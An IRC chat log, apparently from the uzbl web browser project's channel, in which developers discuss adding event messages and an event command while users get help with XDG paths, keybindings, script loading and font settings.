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09:52 < ruskie> corporations are there to benefit ONLY and ONLY their owners
09:53 < happy> ruskie: how do you think corporations work? There are two ways for them to do that. Change laws (way to common) and help the consumer.
09:53 < sitwon> happy: and yet we've seen many corporations GIVE BACK to the community. Even Microsoft has released code under the GPL.
09:53 < ruskie> happy, no they need to make a profit... how they do it is in different ways but in the end most of the time the consumer and the worker are those that get shafted
09:54 < ruskie> sitwon, only because they would be in violation otherwise
09:54 < happy> ruskie: that does not make much sense... people would stop using their service/good if they outright attacked the people.
09:55 < sitwon> happy: FOSS in general is a very selfish model. It relys on developers releasing their code because it is in their own best interests to do so (as was the case with Microsoft)
09:55 < ruskie> happy, think RIAA
09:55 < ruskie> happy, yet people still buy their products
09:55 < happy> ...
09:56 < happy> I don't...
09:56 < sitwon> god I must be too tired for this conversation because my spelling is really terrible tonight
09:56 < happy> lol
10:01 < happy> anyone want to talk about uzbl? Is there a way to bind ctrl+t or something to a command?
10:02 < sitwon> happy: in vim you would type C-v C-t while in insert mode to insert a litteral control character
10:03 < happy> sitwon: I do not understand. Do I need to add the control char to the file?
10:03 < sitwon> happy: you bind it just like you bind any other key in the config
10:04 < happy> ok, thanks
10:04 < happy> I don't really use vim, but I don't know how to do it in nano
10:06 < sitwon> I don't use nano, but I would think it would be possible
10:07 < happy> how do you save in vim again?
10:07 < sitwon> you should really get friendlier with vi in general and vim in particular
10:07 < happy> nm
10:07 < sitwon> :w
10:07 < happy> I figured it out :-)
10:07 < rob|> so i added INSTANCE_START and INSTANCE_EXIT events. any suggestions for better names?
10:07 < rob|> also do you think it'll be useful to provide the PID of the instance as port of these event messages?
10:08 < rob|> s/port/part/
10:08 < Dieterbe> depends on when exactly these events are triggered
10:08 < rob|> right after startup and just before exiting
10:08 < Dieterbe> ok. it may also be useful to have an event at startup, but after the config is loaded and such
10:08 < ruskie> rob|, what about RELOAD to do something specific on !reload commands?
10:08 < Dieterbe> INSTANCE_LOADED or something
10:09 < rob|> ruskie: you can use a custom event for that
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10:09 < Dieterbe> rob|: maybe we should set constants (you know, like COMMIT and such), for the pid and X window id. and trigger constant_set events for them
10:09 < sitwon> rob|: it would definitely be useful to have the PID
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10:13 < rob|> yeah, i think this should be ok:  EVENT INSTANCE_LOADED [1234567] PID
10:13 < rob|> respectively for the exit event
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10:27 < rob|> Dieterbe: i don't think we need those events, as constants are - well - constant and should be always there
10:28 < Dieterbe> true, but it would be a generic way to inform event managers about our constants
10:29 < rob|> hmm
10:29 < rob|> not a very clean solution imho
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10:30 < rob|> i'd rather vote for the inclusion of the pid and xwid in the INSTANCE_LOADED event, this seems way cleaner and more logical
10:31 < rob|> and we should also provide a PID constant
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10:32 < Dieterbe> rob|: hmm if i look at our readme, some of our constants do change.  the user can't change them, but uzbl-core itself can. (eg TITLE, LOAD_PROGRESS etc)
10:32 < ruskie> http://www.appbundles.org/ <-- I can imagine all the crap that this will bring
10:32 < Dieterbe> either way i think it's useful to inform the event manager about what the constants are (COMMIT,TITLE,ARCH_UZBL, etc)
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11:11 < happy> Where is the best place to add a feature request? Uzbl does not support gzip compression.
11:12 < Dieterbe> it's a known issue on our bugtracker
11:16 < happy> ok
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11:23 < Dieterbe> this is actually a missing feature in libsoup. which i hope will be fixed soon
11:25 < MichaelRaskin> Dieterbe, not by Gnome-2.28, though
11:25 < MichaelRaskin> So not that soon..
11:29 < mason-l> Hey guys
11:30 < mason-l> <rob|> so i added INSTANCE_START and INSTANCE_EXIT events.
11:30 < mason-l> ^ Awesome.
11:30 < mason-l> I'll adapt accordingly.
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13:00 < rob|> mason-l: i just pushed the changes to my branch. format is 'EVENT INSTANCE_(START|EXIT) [name] PID'
13:01 < rob|> mason-l: and i also added a PID constant that holds the pid
13:01 < mason-l> rob|, Good work.
13:01 < mason-l> I'm playing with the uzbl_tabbed.py patch on the mailing-list
13:02 < mason-l> I'm having a mild-success with it.
13:05 < rob|> ah, the multiline thing
13:05 < rob|> sounds reasonable
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13:40 < thorben> mason-l: where exactly do I pull from?
13:40 < Dieterbe> depends on what you want?
13:41 < thorben> mason-l's event system
13:41 < thorben> so read: "Where do I find mason-l's branch"
13:41 < Dieterbe> google for 'github mason-larobina uzbl event-messages'
13:41 < Dieterbe> event-messages is the branchname
13:42 < Dieterbe> if you want to start a fork (clone) on github, it is however better (i think) to fork from me, and then add mason-l as remote
13:42  * thorben needs to add a "google from clipboard" shortcut
13:43 < mason-l> thorben, git clone git://github.com/mason-larobina/uzbl.git
13:44 < rob|> documented all events we already report and their format
13:44 < mason-l> thorben, All of the changes I made last night were pulled into Dieterbe's event-messages branch though.
13:44 < mason-l> So your not missing anything at the moment.
13:45 < thorben> mason-l: kthx
13:46 < mason-l> Oh!, Dieterbe I know why we needed to add the ability to dump the entire config on start up!
13:47 < mason-l> Dieterbe, Actually now that I think about it, not really :)
13:47 < Dieterbe> okay why don't you think about it for a few more minutes and then tell me what you want to say (if anything still remains):P
13:48 < mason-l> I will next time ;)
13:51 < thorben> Dieterbe: sufficient? git pull git://github.com/robm/uzbl.git; git checkout -b origin/event-messages
13:52 < Dieterbe> first one : git clone
13:52 < thorben> my bad. sorry, thats what I did
13:56 < Dieterbe> other then that yeah
13:56 < Dieterbe> you'll have robs
13:59 < thorben> mason-l: good work
13:59 < mason-l> thorben, Thanks :)
14:00 < thorben> so where now? a parsing distributor script dispatching other small scripts depending on event?
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14:01 < thorben> or a daemon even?
14:01 < rob|> thorben: you should re-pull, i just made some changes and merged with dieter
14:02 < rob|> thorben: basically yes. see the examples folder, there is a nice event dispatcher/manager written by mason. it is plugin based so you might want to extend that one
14:02 < rob|> or just write your own...
14:03 < thorben> rob|: where shall i pull from? git doesn't know either :)
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14:03 < rob|> hold on, i'll push my changes to dieter's tree then you can just pull from him
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14:04 < thorben> rob|: yea but how? I am a git noob
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14:04 < github> uzbl: Robert Manea event-messages SHA1-59c99ce
14:04 < github> Added INSTANCE_START, INSTANCE_EXIT events and PID constant
14:04 < github> http://bit.ly/14A3V5
14:04 < github> uzbl: Robert Manea event-messages SHA1-a6ba339
14:04 < github> Document events
14:04 < github> http://bit.ly/23RIZx
14:04 < github> uzbl: Robert Manea event-messages SHA1-7fdc33a
14:04 < github> Merge branch 'event-messages' of git://github.com/Dieterbe/uzbl into event-messages
14:04 < github> http://bit.ly/1b5qsV
14:04 < github> uzbl: Robert Manea event-messages SHA1-c1bd568
14:04 < github> docu fixes
14:04 < github> http://bit.ly/5P71Z
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14:05 < rob|> you just clone the repo and 'git checkout event-messages'
14:05 < Dieterbe> thorben: git pull origin
14:05 < mason-l> Dieterbe, I've applied and fixed up the patch that was sent to the ML for uzbl_tabbed.py
14:06 < rob|> thorben: 'git branch' will show you the currently active branch
14:06 < thorben> zsh/3 29144  (git)-[origin/event-messages]-% git pull origin
14:06 < thorben> You asked me to pull without telling me which branch you
14:06 < thorben> want to merge with, and 'branch.origin/event-messages.merge' in
14:06 < Dieterbe> basically we need to "port" things such as handlers and the keybinding system
14:06 < thorben> your configuration file does not tell me either.
14:06 < mason-l> The patch applied weirdly so I fixed it all up.
14:06 < Dieterbe> mason-l: reply to the mail and make it a merge request to me then
14:08 < thorben> rob|: git pull origin event-messages worked
14:17 < rob|> ok
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14:20 < rob|> hmm, i'm not sure on how to handle motion notify events. i mean generating a MOUSE_MOTION event on every mouse movement seems a bit too heavy
14:21 < rob|> maybe uzbl-core should have some logic so it only reports motion events if button(1|2|3) is pressed and the mouse is being moved?
14:21 < mason-l> Dieterbe, Sent
14:22 < Dieterbe> rob|: maybe.. do we have any idea what the "cost" of raising events is?
14:22 < rob|> not really, but i suppose that it won't be too good performance wise to report every mouse move
14:23 < Dieterbe> maybe we should just do it for now and see where we end up
14:23 < Dieterbe> besides, it may be a good way to motivate users to use the mouse less often :D
14:23 < mason-l> I'm not sure MOUSE_MOTION event reporting is a good idea at all.
14:25 < Dieterbe> well, they could be as usefull as any other event.. if you like mice stuff
14:25 < rob|> hmm, my idea was that it could be useful to implement mouse gestures
14:26 < Dieterbe> i think many people would like it
14:29 < mason-l> rob|, The raw mouse coordinates collected should be heavily filtered & smoothed in that case and only report significant mouse movements in any particular direction (not to mention acceleration).
14:30 < rob|> that's certainly true!
14:30 < rob|> well, i'll think a bit more about this and see if i can come up with a decent solution
14:31 < N30N_> rob|: if you want gestures you can use Gestikk or wayV
14:33 < rob|> N30N_: yeah, i guess you have a point here
14:34 < Dieterbe> 14:29:05 < mason-l> rob|, The raw mouse coordinates collected should be heavily filtered & smoothed in that case and only report significant mouse movements in any particular direction (not to mention  acceleration)
14:34 < Dieterbe> and _that_ is probably costly, cpu wise
14:34 < mason-l> Dieterbe, Exactly why I'm against it.
14:34 < Dieterbe> to do all this stuff , to be able to trigger nice events, which are then thrown away
14:34 < Dieterbe> maybe we can do a simple config option. report_mouse_events =  1/0
14:35 < Dieterbe> or what N30N_ said. i have no time right now to research these tools
14:39 < N30N_> Dieterbe: why keeping the config file and not just use a wmii style script?
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14:44 < rob|> hmm, another nice use case for LINK_HOVER would be generating a small preview of the link with JS (not sure if that's easily possible, though)
14:46 < Dieterbe> i hate those things :P
14:46 < mason-l> rob|, You're getting crazy mad on next-gen features.
14:47 < mason-l> Mouse gestures, js link previews, feels like I'm using some bloated up firefox.
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14:48 < rob|> haha
14:51 < rob|> well, previews are a nice eye-catcher. i agree that they are no really usefull, though
14:51 < rob|> *not
14:52 < Dieterbe> i'll be happy if we actually ported everything to the event-messages stuff. that by itself will be already quite impressive
14:53 < rob|> yeah, sure. just thinking out loud about all the nifty possibilities
14:55 < rob|> oh, just realized we can also get rid of all that *modkey stuff
14:57  * Dieterbe slaps rob| 
14:58 < Dieterbe> i think i said that yesterday and you said something like 'yeah sure, indeed' or something like that
14:59 < rob|> ok, well now i just removed it ;)
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15:00 < rob|> what about command_indicator? shouldn't that be a custom var as it's only useful for modal key bindings
15:03 < Dieterbe> yep
15:03 < rob|> holizz: could you look into rewriting the schema handler to use event messages? (i guess that's your baby?)
15:03 < Dieterbe> yeah it's his
15:04 < Dieterbe> let the clensing begin!
15:04 < Dieterbe> uzbl-core will look soo much neater after this
15:04 < holizz> rob|, Sure. Is the event messaging branch working yet?
15:06 < rob|> well, sort of.
15:06 < rob|> we need to enhance the bind plugin so it reads its config from a file or via custom vars
15:07 < rob|> and the same for the other handlers, the basic infrastructure for that is already available, though
15:07 < mason-l> rob|, I was thinking about this last night, I think the way to go is a event command that can be used in the config
15:07 < rob|> not sure wether you're comfortable with python. i am not..
15:08 < mason-l> I.e. event BIND M-C foo _ = something %s
15:08 < mason-l> which outputs EVENT BIND [34324234] M-C foo _ = something %s
15:09 < mason-l> to the event manager.
15:09 < mason-l> Very simple command, easily done, looks nice.
15:09 < rob|> hmm, that'll be possible but what's the problem with using already available custom vars for that?
15:09 < mason-l> rob|, You mean the set bind = M-C foo _ = something %s
15:09 < rob|> EVENT VARIABLE_SET [1234567] binding str M-C foo _ = something %s
15:10 < rob|> yeah, exactly
15:10 < holizz> Is there a reason uzbl-browser isn't called "uzbl"?
15:10 < mason-l> I honestly don't like it. The definition has two ='s in it!
15:11 < rob|> well, you can easily some other character(s) to denote that like: set bind = foo -> bar baz
15:11 < mason-l> Ugly.
15:11 < rob|> hmm
15:11 < Dieterbe> hey i like the idea of being able to trigger custom events (events that are not defined inside uzb-core)
15:11 < mason-l> Having an event command would be great and feel natural.
15:11 < rob|> Dieterbe: you can do that already
15:11 < rob|> Dieterbe: print EVENT ....
15:11 < Dieterbe> lol. right
15:12 < mason-l> rob|, thats just silly.
15:12 < mason-l> rob|, We still need things that are easy to type.
15:12 < Dieterbe> well, let's do that then? it makes it totally transparant for uzbl-core. no custom variables needed, the messages pass right through uzbl-core, to where they belong. but you still have the advantage of 1 config
15:12 < rob|> well, so the event command would basically be a wrapper around print that sets some default values
15:13 < holizz> So print doesn't print anymore? It sends data to the event manager? I'm sure that's a great idea.
15:13 < mason-l> rob|, Yeah.
15:13 < rob|> holizz: it does both
15:13 < mason-l> holizz, Only when the commands are being outputted through stdout
15:13 < mason-l> (which is the only way at the moment)
15:16 < holizz> mason-l, So when there's another way, you'll be able to break uzbl by changing the config? Just like PHP!
15:17 < mason-l> By "event command is a wrapper around print" we all mean prints a message to the event handler in the same format as events to the event handler.
15:17 < mason-l> I mean "prints a message in the same format as an event to the event handler."
15:18 < holizz> I don't understand either of those sentences. But I'm assuming you can "print EVENT_SOMETHING blah blah blah", which will do the same as "event SOMETHING blah blah blah", right?
15:19 < rob|> exactly
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15:25 < holizz> And the intention is to later support a method other than stdout? So if you do anything using print, you'll have to rewrite it when not using stdout. I assume the intention isn't simultaneous support for both stdout and presumably direct FIFO writing? Otherwise you'll get scripts written to support one but not the other, and then you'll end up with a situation like PHP.
15:26 < Dieterbe> i'm quite convinced that stdout suffices
15:27 < Dieterbe> in fact, we technically already use fifo's by redirecting stdout to a fifo in uzbl-browser script
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15:51 < holizz> So with all the problems of FIFOs, is there any reason we can't just get rid of them and force people to use something like socat?
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15:52 < holizz> bind 'msg _ = set uri = data:text/plain,\@(date +%Y-%m-%d %H:%M)\@ %s
15:53 < holizz> ^ Crashes uzbl.
15:54 < holizz> Same without backslashes.
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16:05 < Dieterbe> "all the problems with fifo's" ?
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16:10 < github> uzbl: Robert Manea event-messages SHA1-5a9b220
16:10 < github> removed modkey functionality
16:10 < github> http://bit.ly/aDMB1
16:10 < github> uzbl: Robert Manea event-messages SHA1-0867992
16:10 < github> added event command
16:10 < github> http://bit.ly/upaux
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16:11 < rob|> so as you see i added an event command. syntax is: event event_name [event_details]
16:11 < rob|> where event_details is optional
16:12 < holizz> Dieterbe, The fact that they don't magickally get reused when uzbl crashes.
16:12 < scj> do we need a event command?
16:12 < rob|> oh, and event_details is expand()ed
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16:12 < Dieterbe> holizz: the same problem with sockets.
16:12 < chanux> anybody?
16:12 < Dieterbe> nobody!
16:13 < holizz> Dieterbe, But uzbl reuses sockets when they're left over.
16:13 < rob|> scj: not really, though mason suggested that it's more convenient to have one
16:13 < Dieterbe> holizz: it does?? we should fix that then.
16:15 < scj> rob|: I vote against it. the script raising the event can deal with the formatting
16:16 < holizz> Can we at least have an option to force uzbl to delete/recreate the fifo/socket if it finds them?
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16:20 < Dieterbe> holizz: my opinion is : if uzbl wants to create a fifo/socket to use for communication, and it already exists, uzbl should abort
16:20 < Dieterbe> afaik this was fixed a while back, but i'm not sure
16:24 < chanux> hey I installed uzbl (on ubuntu jaunty)
16:24 < chanux> trying to get uzbl_tabbed.py to work
16:25 < chanux> I copied default data dir to .local/share
16:26 < chanux> anyhow.. when I run uzbl I get following errors
16:26 < chanux> error on run_command: Failed to execute child process "$XDG_DATA_HOME/uzbl/scripts/history.sh" (No such file or directory)
16:26 < chanux> error on run_command: Failed to execute child process "$XDG_DATA_HOME/uzbl/scripts/cookies.py" (No such file or directory)
16:26 < chanux> anyone can help me with these?
16:28 < holizz> Try "ls $XDG_DATA_HOME/uzbl/scripts/history.sh"
16:28 < chanux> holizz, ls: cannot access /uzbl/scripts/history.sh: No such file or directory
16:29 < holizz> There's your problem.
16:29 < chanux> holizz, do I need to export path?
16:29 < scj> you need to export $XDG_DATA_HOME as $HOME/.local/share
16:29 < rob|> either that or just use the full path in the config
16:30 < scj> a lot of the scripts rely on the XDG vars so they'd just behave weirdly
16:31 < rob|> besides keybindings all that XDG stuff is one of the most asked questions which gives me the feeling that it isn't that ideal
16:33 < scj> with some luck, XDG will eventually be ubiquitous
16:35 < chanux> now that I did export the path, previosly advised ls command works fine but still I get previous errors
16:37 < holizz> chanux, Are you running uzbl from the shell? Otherwise you'd have to put it in your .xsession, or .xprofile, or whatever.
16:37 < chanux> holizz, running from shell
16:38 < holizz> What does "env | grep XDG" give you?
16:39 < chanux> holizz, XDG_DATA_HOME=/home/chanux/.local/share
16:41 < thorben> chanux: and what does "ls $XDG_DATA_HOME/uzbl/scripts/" give you?
16:42 < chanux> thorben, /home/chanux/.local/share/uzbl/scripts/history.sh
16:43 < chanux> thorben, well... when I ls with history.sh at the end :)
16:43 < thorben> chanux: and when you _in the same shell you just did the ls_ run uzbl_tabbed.py
16:43 < thorben> what happens?
16:44 < chanux> thorben, I'm sorry I don't get you.
16:44 < thorben> start uzbl_tabbed.py in the same shell/terminal/window where you just did "ls $XDG_DATA_HOME/uzbl/scripts/"
16:44 < thorben> and see if that works
16:45 < thorben> or you might want to say "start uzbl_tabbed.p FROM the same shell.... "
16:46 < chanux> thorben, I ran the .py script and got another uzbl window with tabs :)
16:47 < thorben> chanux: problem solved I hope?
16:48 < thorben> chanux: take home message: exporting variables only works within a single session. you can't export a variable in one terminal and expect to access it from another
16:49 < chanux> thorben, thanx :). It works. I'll add it to my basrc.
16:55 < chanux> And gmail complains I've disabled cookies. But I see google cookies in cookies.txt
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17:21 < chanux> On uzbl scrolling worked fine at the beginninng. Now when I try to scroll, the bottom information bar goes out of site & the window doesn't respond to resizes etc.
17:21 < chanux> possibly a bug?
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17:26 < sman> I can't seem to get linkfollow.js to work. I have read and followed the header of linkfollow.js
17:26 < scj> what doesn't work?
17:26 < sman> I have not however done anything about the require link
17:26 < sman> scj: well when I use the keybinding f* (I assume * is for numbers?) nothing comes up
17:27 < sman> scj: no green squares or anything as in the screenshot
17:27 < sman> I assume the script hasn't even loaded
17:27 < scj> are you loading the script with load_commit_handler?
17:27 < sman> scj: yes
17:27 < sman> the line in my config file is:  set load_commit_handler = sh 'echo "script /usr/share/uzbl/examples/scripts/linkfollow.js" > "$4"'
17:28 < sman> but I have another line using load_commit_handler:  set load_commit_handler = set status_message = <span foreground="green">recv</span>
17:30 < rob|> sman: set load_commit_handler = chain 'first command' 'second command'
17:30 < scj> or just write a load commit script
17:31 < sman> oh ok
17:34 < sman> hmm
17:34 < sman> now it's working, but the stylesheet isn't loading
17:34 < sman> so I just have black numbers written on everything and its hard to see
17:34 < scj> oh yeah, the stylesheet uri needs to be prepended with "file://"
17:35 < scj> so 'set stylesheet_uri = <path>' should  be 'set stylesheet_uri = file://<path>'
17:35 < sman> scj: yup that did it :D
17:35 < chanux> Confirmed: When I maximize window, I lose all kinds of control (resizing) on uzbl window.
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17:37 < chanux> But only in uzbl_tabbed
17:39 < chanux> on plain uzbl things work fine (maximize, minimize, resize and bottom info bar shows up) again...
17:39 < chanux> things seem random..
17:40 < sman> scj: about the load commit handler script, would it just be a .sh file with a command per line?
17:41 < sman> it looks messy with the chain thing
17:41 < scj> sman: whatever you feel most comfortable with
17:42 < sman> scj: the script - but my question was, how will the script look?
17:42 < sman> I don't know how to write it so it works
17:42 < scj> sman: a .sh with single line statements would suffice, yes
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17:46 < mason-l> Dieterbe & rob|, I've just made some heavy internal changes and cleanups in event_manager.py
17:47 < mason-l> I'm committing them now.
17:47 < Dieterbe> i'll fasten my seatbelts
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17:49 < chanux> My problems are arized when I'm on twitter. Tested with that. Problems with javascript?
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17:54 < chanux> When I log in to twitter.com I get above mention problems. Hope this info helps.
17:54 < chanux> what I got in terminal is...
17:54 < chanux> uzbl_tabbed.py: error: parse_command: unknown command '99e3ae6d1f uri 2 http://twitter.com/'
17:54 < sman> scj: I'm having trouble writing a commit handler - can I see your >
17:54 < sman> set load_commit_handler = sh 'echo "script /usr/share/uzbl/examples/scripts/linkfollow.js" > "$4"'
17:54 < sman> oops
17:55 < sman> scj: can I see your commit_handler.pl ?
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17:57 < sman> I'm not even sure that putting   set load_commit_handler = sh 'echo "script /usr/share/uzbl/examples/scripts/linkfollow.js" > "$4"'~
17:57 < sman> would work, since it doesn't work in ~/.config/uzbl/config anyway
17:59 < sman> only the :lf binding to  script ~/.local/share/uzbl/scripts/linkfollow.js  works
17:59 < sman> which I have to execute every time the page loads :(
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18:21 < rob|> sman: what's the purpose of sh and echo in there?  writing 'set load_commit_handler = script /path/to/script' should be all you need
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18:23 < rob|> oh
18:24 < rob|> mason-l: did you commit already? can't see anything on github..
18:28 < mason-l> I was just trying to get my keycmd plugin working
18:28 < mason-l> before committing
18:28 < rob|> ah, ok
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18:47 < mason-l> rob|, Did you change the order? (I'm looking in the diffs and found: EVENT VARIABLE_SET [uzbl_instance_name] str|int|float variable_name variable_value)
18:48 < mason-l> also update the VARIABLE_SET line in the README.
18:52 < rob|> oh no, just mistyped it in the README
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19:00  * thob runs arround throwing beer at everyone "g'day"
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19:01  * rob| grabs one
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19:04 < notbenh> hello all, tried the oneliner in the FAQ and it seems that the config only gets picked up if I use --verbose.
19:04 < notbenh> this is on ubuntu jaunty following the instructions off the wiki
19:06 < rob|> which one liner?
19:06 < Dieterbe> good evening gentlemen
19:07  * Dieterbe home from work
19:07 < rob|> wb dieter
19:07 < notbenh> Dieterbe: good evening
19:08 < thob> wb *Introduces hisself* thob, if it is of interest for you.
19:08 < Dieterbe> thob: what's your passion?
19:09 < thob> ideling :)
19:09 < thob> and using python.
19:09 < Dieterbe> oh.
19:11 < thob> assumend something more special?
19:11 < Dieterbe> yeah. something like "controlling my system to the finest detail" or "optimizing every single keystroke i make" or something like that
19:13 < thob> Well, using fluxbox on my eee. was always searching for a browser that is controlled by keyboard. so I came to vimperator and now I am playing with your work
19:13 < Dieterbe> mine + 40 others
19:13 < thob> if you want
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19:14 < Dieterbe> anyway, hope you like it
19:15 < Dieterbe> and which beer were you throwing out? if it's krollsh (or something like that) i'll pass :P
19:15 < thob> so far, yes
19:15 < thob> you may choose between judas and haacke beck
19:16 < Dieterbe> i only tried krollsh
19:16 < notbenh> rob|: XDG_DATA_HOME=/usr/share/uzbl/examples/data XDG_CONFIG_HOME=/usr/share/uzbl/examples/config uzbl (via http://github.com/Dieterbe/uzbl/blob/35c7b6e8b5ed53f03770639cc11bd62fbf1bff26/docs/FAQ)
19:16 < notbenh> rob|: I get a white screen that all typing edits the window name unless I pass '--verbose'
19:17 < Dieterbe> that is _odd_
19:17 < rob|> that sounds strange
19:17 < Dieterbe> notbenh: how did you install uzbl?
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19:18 < notbenh> Dieterbe: http://www.uzbl.org/wiki/ubuntu_howto on ubuntu jaunty
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19:19 < holizz> notbenh, "typing edits the window name" = the bar is hidden. Right?
19:19 < mason-l> Dieterbe, rob|, Uploading now
19:19 < holizz> Do you have a config?
19:19 < rob|> alright
19:19 < notbenh> holizz: well I'm running xmonad so it edits the name of the window as its displayed via dzen, just taking a wild guess on if its really editing the name of the window
19:20 < notbenh> holizz: I'm pointing to the config that is shiped in examples
19:20 < mason-l> Dieterbe, rob|: http://github.com/mason-larobina/uzbl/tree/8d49ebef2d0ea1cefe8d269e0f07c8775a3d6494
19:20 < mason-l> Dieterbe, rob|, I've got a working keycmd.py plugin in the latest commit there.
19:21 < mason-l> I've just got to sort out the enter key event.
19:21 < mason-l> maybe even raise a custom KEYCMD_CLEAR
19:22 < mason-l> I've got maybe 3-4 minutes to answer any questions because its 1:20 and work at 06:00
19:24 < rob|> ok, looks good so far will give it a shot and test a bit
19:25 < holizz> notbenh, If that's the case, try pressing "t".
19:25 < mason-l> Also I've re-written the other plugins to show more of whats capable with the event handlers
19:25 < rtalreja> anyone know what the syntax is for setting a keybinding to ctrl+_ (emacs style) in the uzbl config file?
19:25 < mason-l> I think all use cases so far are working.
19:25 < rob|> very cool!
19:28 < holizz> rtalreja, You have to enter the actual ctrl code ATM. It's being worked on though.
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19:29 < notbenh> holizz: ahh. ya that seems to 'fix' it, thanks for the pointer
19:30 < notbenh> off to copy things to ~ and start poking.
19:30 < rtalreja> holizz: ctrl code ATM?
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19:32 < rob|> mason-l: the eventmanager won't look in . for the plugins, right?
19:32 < rob|> +pugins dir
19:32 < mason-l> rob|, Just change the plugins_dir to anything.
19:33 < mason-l> Also rob| & Dieterbe I've just committed a quick bugfix a moment ago.
19:33 < mason-l> Be sure to grab it along with everything else.
19:33  * rob| re-pulls
19:33 < Dieterbe> fyi: 21k pagehits thanks to /. this weekend
19:34 < mason-l> Dieterbe, Awesome!
19:34 < mason-l> Got to go.
19:34 < mason-l> Have a good one guys.
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19:39 < rob|> mason-l: nice, it works :)
19:39 < Dieterbe> rob|: so, you didn't like my suggestion to have a INSTANCE_LOADED event (which is like INSTANCE_START, but only after everything is set up)
19:39 < Dieterbe> ?
19:39 < mason-l> Dieterbe, I like it.
19:39 < mason-l> It doesn't hurt.
19:39 < rtalreja> does anyone have a uzbl config file with emacs keybindings?
19:40 < mason-l> Anyway, _really_ got to go now.
19:40 < rob|> cu mason
19:40 < rob|> Dieterbe: hell, i had it like that but changed it back to START - no idea why
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19:40 < rob|> anyways, keycmd is working great with the eventmanager
19:40 < Dieterbe> ciao mason-l 
19:41 < Dieterbe> rtalreja: not as far as i know.. maybe on google
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19:41 < rob|> just a a couple of chars don't work, like ; - etc.
19:42 < rtalreja> Dieterbe: yea, i poked around a bit, had no luck finding one. if i knew how to set keybindings to ctrl+_ i could make my own
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19:42 < Dieterbe> rtalreja: you need to insert literal control chars
19:42 < rob|> all chars that have symbolic names as it looks
19:42 < mason-l> rob|, Thats because those characters look like words!
19:42 < rob|> yeah, i know :(
19:42 < mason-l> I.e. "." -> "period"
19:43 < rtalreja> Dieterbe: how do you insert literal control chars in emacs?
19:43 < Dieterbe> that's the fun binding syntax stuff i'm warning you guys about for already a few days :P
19:43 < Dieterbe> rtalreja: i don't use emacs
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19:43 < mason-l> rob|, Can you work on sending event messages over a socket some time soon?
19:44 < rob|> sure
19:44 < Dieterbe> whoa whoa whoa whoa
19:44 < mason-l> my stdin/out pipes keep breaking when typing really fast.
19:44 < Dieterbe> sounds like an issue we should fix. not a reason to start implementing a socket based approach
19:45 < rtalreja> Dieterbe: so then how do you do it in your text editor of choice?
19:46 < Dieterbe> rtalreja: i don't know :) ask rob| he knows how to do it in vim
19:46 < [Mr_X]> How do I enter URL into this uzbl browser?
19:48 < rtalreja> Dieterbe: ok, thanks. i think i got it. if you use urxvt you can press ctrl+shift to enter symbol entry mode.
19:48 < Dieterbe> hmm that does not work for me. weird
19:49 < Dieterbe> rob|: i also didn't understand what you were trying to say with keysym vs symbol names the other day
19:49 < rtalreja> Dieterbe: check out the section on "keyboard symbols entry method" in the urxvt man page
19:49 < holizz> rtalreja, https://secure.wikimedia.org/wikipedia/en/wiki/Control_code http://www.urbandictionary.com/define.php?term=ATM (I was on the phone)
19:50 < rob|> Dieterbe: what _exactly_ didn't you understand?
19:51 < rtalreja> holizz: thanks!
19:51 < Dieterbe> well everything.. what's the difference. eg 'Space', that's a keysym, right?
19:51 < rob|> Dieterbe: no that's a "symbolic" name of a keysym, the keysym itself is numeric
19:51 < Dieterbe> aha ok
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19:52 < Dieterbe> and you thought it may be better to work with the numeric values?
19:52 < rob|> and most of the standard X functions work on numeric keysyms
19:52 < rob|> but there are conversion functions
19:52 < rob|> so you can convert in both directions
19:53 < rob|> i.e. name -> keysym and vice versa
19:53 < Dieterbe> so.. it really doesn't matter much
19:53 < rob|> right, if you have the possibility to use those standard functions
19:54 < Dieterbe> so i would stick with the most readable form. ie the name
19:55 < holizz> Right. I'm off home, and PHP must die.
19:55 < Dieterbe> heh, i was clicking 'related videos' a bit too long after each other and ended up at http://www.youtube.com/watch?v=zTZKdntGXfw&NR=1 which is actually pretty cool
19:56 < Dieterbe> holizz: fun times on your second(?) day at work ?
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20:05  * Dieterbe food
20:06 < scj> wait, if a keysym isn't symbolic, what does the 'sym' stand for?
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20:08 < Dieterbe> well it is a symbol. it's not literally key.  they are numeric symbols representing physical keys
20:08 < Dieterbe> that's how i look at it now, at least
20:10 < scj> wouldn't that be a keycode rather than a keysym?
20:16 < thorben> where does webkit get its default font size? because thats way too large on my system
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20:16 < scj> my guess is it's from ~/.gtkrc-2.0
20:18 < thorben> its empty
20:19 < thorben> scj what do you have in there?
20:20 < thob> you can create it, it is afaik a ocument
20:20 < thob> *document
20:20 < thorben> thob: I _have_ it already but it is empty
20:20 < scj> thorben: use gtk2_prefs to generate it (gtk2_prefs pkg on arch)
20:20 < thob> style "font"
20:20 < thob> {
20:20 < thob> font_name = "Corbel 8"
20:21 < thob> }
20:21 < thob> widget_class "*" style "font"
20:21 < thob> gtk-font-name = "Corbel 8"
20:23 < thorben> scj nice tool, but not helping, font size stays gigantic
20:24 < scj> thorben: just noticed, there's a default_font_size variable in uzbl
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20:24 < thorben> scj where did you find that?
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20:26 < scj> thorben: or wait, that may be an old variable. it was in my config file but I can't find it in uzbl.c
20:29 < idm> hi everyone - my goal is to generate PDFs from HTML without X11, so I have two questions: 1) has anyone run uzbl "headless" and 2) does anyone have an existing script, or some suggestions, regarding PDF output
20:31 < scj> idm: the only way you can generate pdfs with uzbl is by using the print dialog to output it to a pdf file. this isn't scriptable, afaik
20:31 < idm> hmmm...  so it's a webkit limitation?
20:32 < scj> no, it's a webkitgtk limitation
20:32 < idm> ah - gotcha
20:32 < idm> does the same apply to webkitqt?
20:33 < scj> I have no idea, I've never used webkitqt
20:34 < idm> ok - no problem...  /ponders
20:36 < idm> is it possible to render a PNG without the print dialog?
20:38 < scj> idm: actually, looking at http://webkitgtk.org/reference/webkitgtk-WebKitWebFrame.html#webkit-web-frame-print-full
20:38 < scj> it looks like it should be possible to script the printing
20:38 < scj> but I am not sure if you can do it headless
20:39 < idm> well, the headless part isn't such a big deal (I've used VNC server w/o any connected clients as a lightweight alternative)
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20:45 < idm> scj: looks promising.  webkitgtk.org 404s for the reference to GtkPrintOperation, but the documentation is elsewhere (e.g. http://library.gnome.org/devel/gtk/unstable/gtk-High-level-Printing-API.html )
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21:03 < thorben> anyone using awesome wm? if so, do you have a custom layout for uzbl (unless you use a tabbing script)? or do you just use fullscreen?
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21:10 < github> uzbl: Jake Probst experimental SHA1-16a17e5
21:10 < github> Multiline tablist patch.
21:10 < github> http://bit.ly/bwduA
21:10 < github> uzbl: Mason Larobina experimental SHA1-a2e0e58
